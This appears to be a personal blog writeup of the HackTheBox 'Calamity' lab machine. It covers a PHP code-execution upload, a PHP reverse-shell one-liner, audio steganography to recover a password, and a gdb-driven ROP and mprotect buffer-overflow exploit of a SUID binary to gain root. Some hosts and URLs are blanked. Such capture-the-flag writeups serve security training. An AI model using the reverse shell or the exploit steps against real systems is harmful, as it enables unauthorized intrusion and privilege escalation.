Personal blog

[HackTheBox] "Calamity" machine writeup (Checkpoint style)

Posted at — Aug 21, 2020




[*] 80/tcp: Apache 2.4.18

[*] wfuzz:

[+] $ curl yields password.

[+] Logged in as admin.

[+] The most elite RCE there.

<?php sleep(10); ?>

[*] We’ll use it to upload a shell to /uploads.

<?php system("wget -O ./uploads/phpbash.php"); ?>

[+] Success.

[-] Hm. Something kills foreign processes.

[+] Oh, PHP reverse TCP shell worked like a charm:

php -r '$sock=fsockopen("",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'

[+] Username: xalvas.

[+] Got user.txt.

[*] Extracted audio files.

[*] (exiftool) recov.wav has the following comment: “Isn’t this were we came in?”. Pink Floyd, eh?

[-] LSB extraction didn’t work.

[-] Nothing in binwalk.

[+] rick.wav and recov.wav sounded like the same track, so I decided to subtract one audio track from another. Then I did “Tracks > Mix > Mix And Render To New Track” and removed other tracks. As a result, I got a track (subtracted.wav), where the password is pronounced, but the speech is split in two and the parts are swapped. Concatenated these two parts in correct order, cut off silence, exported (password.wav).

[+] SSH’d as xalvas.

[+] Found SUID binary “app/goodluck” and its partial source code “app/src.c”.

[+] ASLR is disabled on machine (what a luck).

[+] NX: true. ROP-ROP.


gdb-peda$ break main
Breakpoint 1 at 0x80000d86

gdb-peda$ run

gdb-peda$ pattern_create 200 fuzz
Writing pattern of 200 chars to filename "fuzz"

gdb-peda$ jump debug

vulnerable pointer is at bffff600 <--- [!] Points to the buffer. We'll jump there to execute our shellcode (0xbffff600).
0xbfedf000 0xc0000000 rw-p	[stack] <--- [!] Stack area range

Filename:  fuzz

Program received signal SIGSEGV, Segmentation fault.

EAX: 0x0 
EBX: 0x41413341 ('A3AA')
ECX: 0xb7fccbcc --> 0x21000 
EDX: 0x0 
ESI: 0xb7fcc000 --> 0x1b1db0 
EDI: 0xb7fcc000 --> 0x1b1db0 
EBP: 0x65414149 ('IAAe')
ESP: 0xbffff620 ("AJAAfAA5AAKAAgAA6AAL\211\343\a\001")
EIP: 0x41344141 ('AA4A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)


gdb-peda$ pattern offset 'AA4A'
AA4A found at offset: 76

[!] Size of area to overwrite is 76.

gdb-peda$ p mprotect
$2 = {<text variable, no debug info>} 0xb7efcd50 <mprotect>

[!] mprotect is at 0xb7efcd50.

[*] mprotect man page:

int mprotect(void *addr, size_t len, int prot);
       mprotect() changes protection for the calling process's memory page(s) containing any part of the address range in the interval [addr, addr+len-1].

#define PROT_READ       0x01            /* page can be read */
#define PROT_WRITE      0x02            /* page can be written */
#define PROT_EXEC       0x04            /* page can be executed */

[!] We’ll pass the stack start address as a first argument to make it executable (and get rid of NX protection).

[!] The second argument will be stack’s length:

gdb-peda$ p/x 0xc0000000 - 0xbfedf000
$3 = 0x121000

[!] The third argument, obviously, will be (PROT_EXEC (0x4) | PROT_READ (0x1) | PROT_WRITE (0x2)), which is 0x7.

[*] Next, we’ll need a ROP gadget that is “pop-pop-pop-ret” to pop 3 arguments, that we pass to mprotect, and then return back. GDB-Peda has a built-in function for ROP gadget search:

gdb-peda$ ropgadget libc
ret = 0xb7e1a417
addesp_4 = 0xb7e455ea
popret = 0xb7e1baa6
pop3ret = 0xb7e317d9
pop4ret = 0xb7e319a4
pop2ret = 0xb7e317da

[!] pop3ret is at 0xb7e317d9.

[!] We’ll need a shellcode to execute:

[+] Exploit is ready! (

gdb-peda$ run
Starting program: /home/xalvas/app/goodluck
Breakpoint 1, 0x80000d86 in main ()

gdb-peda$ jump debug
Continuing at 0x80000c15.

this function is problematic on purpose

I'm trying to test some things...and that means get control of the program! 
vulnerable pointer is at bffff600
memory information on this binary:


[!] Stop right there. We need to write our payload to a file before passing it to the program:

xalvas@calamity:/tmp$ wget 
2020-08-19 10:26:02 (71.1 MB/s) - '' saved [664/664]

xalvas@calamity:/tmp$ python

[*] Now, we are ready:

Filename: /tmp/fuzz

process 24287 is executing new program: /bin/dash


$ id
`[New process 24491]`
process 24491 is executing new program: /usr/bin/id
Using host libthread_db library "/lib/i386-linux-gnu/".
uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

[*] But we are still isolated as xalvas, because we need to perform it without a debugger (debugger doesn’t have a SUID bit set).

[*] PS: I see, that I can abuse lxd group, but that’s not an intended way of solving this box.

[*] Let’s say the exploit we’ve written just now is a stage2. And we need a stage1 one. Restart GDB.


gdb-peda$ pattern_create 30 fuzz
Writing pattern of 30 chars to filename "fuzz"

gdb-peda$ run
Starting program: /home/xalvas/app/goodluck 

Filename:  /tmp/fuzz

1) leave message to admin
2) print session ID
3)login (admin only)
4)change user

 action: 3

Program received signal SIGSEGV, Segmentation fault.

EAX: 0x414142a9 
EBX: 0x41414241 ('ABAA')
ECX: 0xa ('\n')
EDX: 0xb7fcd87c --> 0x0 
ESI: 0xb7fcc000 --> 0x1b1db0 
EDI: 0xb7fcc000 --> 0x1b1db0 
EBP: 0xbffff648 --> 0x0 
ESP: 0xbffff620 --> 0x1 
EIP: 0x80000e6e (<main+247>:	mov    edx,DWORD PTR [eax+0xc])
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

gdb-peda$ pattern_search "ABAA"
Registers contain pattern buffer:
EBX+0 found at offset: 8
EAX+-104 found at offset: 8
Pattern buffer found at:
0x80003068 : offset    0 - size    5 (/home/xalvas/app/goodluck)
0x80004978 : offset    0 - size   30 ([heap])
Reference to pattern buffer not found in memory

[!] We took control of EBX register. Also, buffer size is 8 bytes. Let’s check what’s at 0x80003068:

gdb-peda$ x/64xb 0x80003068
0x80003068 <hey>:	0x41	0x41	0x41	0x25	0x41	0x00	0x00	0x00
0x80003070 <hey+8>:	0x00	0x00	0x00	0x00	0xad	0x21	0x0f	0x01
0x80003078 <hey+16>:	0x00	0x00	0x00	0x00	0x76	0x99	0x30	0x1f
0x80003080:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x80003088:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x80003090:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x80003098:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x800030a0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

[!] 0x80003068 is a start of “hey” struct.

gdb-peda$ disass main
   0x80000e68 <+241>:	lea    eax,[ebx+0x68]
   0x80000e6e <+247>:	mov    edx,DWORD PTR [eax+0xc]
   0x80000e71 <+250>:	lea    eax,[ebx+0x68]
   0x80000e77 <+256>:	mov    eax,DWORD PTR [eax+0x10]
   0x80000e7a <+259>:	sub    esp,0x4
   0x80000e7d <+262>:	push   edx                         # [*] hey.secret
   0x80000e7e <+263>:	push   DWORD PTR [ebp-0x14]        # [*] protect
   0x80000e81 <+266>:	push   eax                         # [*] hey.admin
   0x80000e82 <+267>:	call   0x80000cc0 <attempt_login>  # [*] attempt_login(hey.admin, protect, hey.secret)

limitedeternity$ cat src.c
  struct f {
    char user[USIZE];
    int secret;
    int admin;
    int session;
  } hey;

  attempt_login(hey.admin, protect, hey.secret);

[!] So:

[!] To make sure we pass through attempt_login function, we need:

[!] Knowing that EAX is “hey.admin” and EDX is “hey.secret”, let’s make pointer equations from assembly code above.

1) eax = ebx + 0x68
2) edx = eax + 0xc
edx = ebx + 0x68 + 0xc
edx = ebx + 0x74

[*] If we can make EDX point to somewhere else in the memory, where value is the same as that of “protect/hey.secret” variable, then we can make EAX (“hey.admin”) non-zero without fearing to overwrite something important.

[*] Let’s assume we know the value of “protect” variable. We will store that value in the file and pass it to createusername() function so that it gets stored at the location of “hey.user” (0x80003068). If we make EDX to point to “hey.user”, then we will able to satisfy “hey.secret” == “protect” condition.

[!] So:

edx = 0x80003068
0x80003068 = ebx + 0x74
ebx = 0x80003068 - 0x74 = 0x80002ff4

[!] The stage1 payload will be: “protect/hey.secret” value (4 bytes) + “\x41” * 4 + EBX (4 bytes). 8 bytes to fill buffer, 4 bytes to put into EBX.

[*] This way we can pass through attempt_login function and call debug. But we still need to know the value of “protect” variable. We’ll need a stage0 payload for that.

gdb-peda$ disass main
Dump of assembler code for function main:
   0x80000e4b <+212>:	lea    eax,[ebx+0x68]
   0x80000e51 <+218>:	mov    eax,DWORD PTR [eax+0x14]
   0x80000e54 <+221>:	sub    esp,0xc
   0x80000e57 <+224>:	push   eax
   0x80000e58 <+225>:	call   0x80000be3 <printdeb>

[!] As we can see, printdeb function prints contents of EAX. And we know, that EAX depends on EBX. Also, we know that at this moment “hey.secret” == “protect”. It’s time to make some pointer equations:

eax = 0x80003070
1) eax = ebx + 0x68
2) eax = eax + 0x14
0x80003070 = ebx + 0x64 + 0x14
ebx = 0x80003070 - 0x64 - 0x14 = 0x80002ff8

[!] The stage0 payload will be: “\x41” * 8 + EBX (4 bytes). 8 bytes to fill buffer, 4 bytes to put into EBX.

[+] Compounding an exploit and proceeding.

[+] Got root.txt!

comments powered by Disqus